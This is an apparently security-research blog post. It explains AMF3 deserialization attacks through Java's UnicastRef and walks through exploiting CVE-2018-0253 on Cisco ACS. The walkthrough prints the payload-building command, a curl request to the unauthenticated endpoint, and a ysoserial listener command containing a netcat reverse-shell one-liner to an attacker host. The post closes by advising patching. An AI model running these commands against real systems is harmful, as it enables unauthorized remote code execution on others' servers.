Dangerous AMF3 protocol

Recently Markus Wulftange from Code White shared an interesting study on how to attack a web application if it is written in Java and uses the AMF3 protocol. This protocol can be found where Flash is used and data exchange between the SWF object and the server part of the application is required. The protocol allows transmitting serialized objects of the type flash.utils.IExternalizable to the server. These server-side objects are deserialized, type conversion occurs, and flash.utils.IExternalizable is turned into java.io.Externalizable. It should be noted that the classes that implement this interface completely control their own serialization and deserialization processes themselves. This means that you can try to find such a class, during deserialization of which arbitrary code will be executed.

Markus investigated all the classes from OpenJDK 8u121 that implement the java.io.Externalizable interface and found that among them are the sun.rmi.server.UnicastRef and sun.rmi.server.UnicastRef2 classes related to the RMI mechanism. If you properly prepare an object of one of these classes (initialize it with a link to the attacker's host) and then transfer it to a vulnerable server, the server's JVM will register the LiveRef link to the “remote object”. After this, the garbage collection engine will attempt to establish a JRMP connection to the specified host. And as you know, the JRMP protocol involves the exchange of serialized Java objects. This can be used for attacks related to de-serialization.

CVE-2018-0253 or how we hacked the Cisco ACS

Once, during one of our tests, we gained access to the Cisco ACS 5.8 server. At the same time, we had the opportunity to connect to a working server through a web interface. During the analysis of the web interface, we found that POST requests containing AMF3 objects are sent from the client to the server.

Later it was noticed that the server accepts such POST requests without authorization. The

HTTP response headers indicated that the web interface is implemented in Java. So you can try to attack.

Download original exploitand change the host and port variables. When compiling, you need to make sure that CLASSPATH contains the path to the Apache BlazeDS library. Running the compiled code will output the AMF package: a serialized UnicastRef object, which is initialized with a LiveRef link to our server.

javac Amf3ExternalizableUnicastRef.java && java Amf3ExternalizableUnicastRef > payload

Send an HTTP request containing the generated AMF packet to the Cisco ACS and see the connection attempt.

curl -X POST -H "Content-type: application/x-amf" --data-binary @payload -k \
https://[IP адрес Cisco ACS]/acsview/messagebroker/amfsecure

This happened because the vulnerable version of the Apache BlazeDS library is installed on the server. Cisco ACS unpacked the AMF packet, deserialized the object passed by us, and now the garbage collector is trying to establish a JRMP connection to our server. If this request is answered with an RMI object, the Cisco ACS deserializes the received data, and executes our code.

Use the ysoserial utility. It will act as a JRMP server: when a client connects, it will receive an object from the CommonsCollection1 library, inside which is the code for executing the reverse shell.

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 443 CommonsCollections1 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP адрес компьютера атакующего] 80 >/tmp/f'

Now we repeat sending the AMF packet and get the reverse shell:

Instead of conclusion

The found vulnerability allows an unauthorized attacker to execute arbitrary commands from a privileged user. By the manufacturer, it was rated at 9.8 on the CVSS scale . We advise everyone who uses this software to install the latest patch.

Vulnerable software: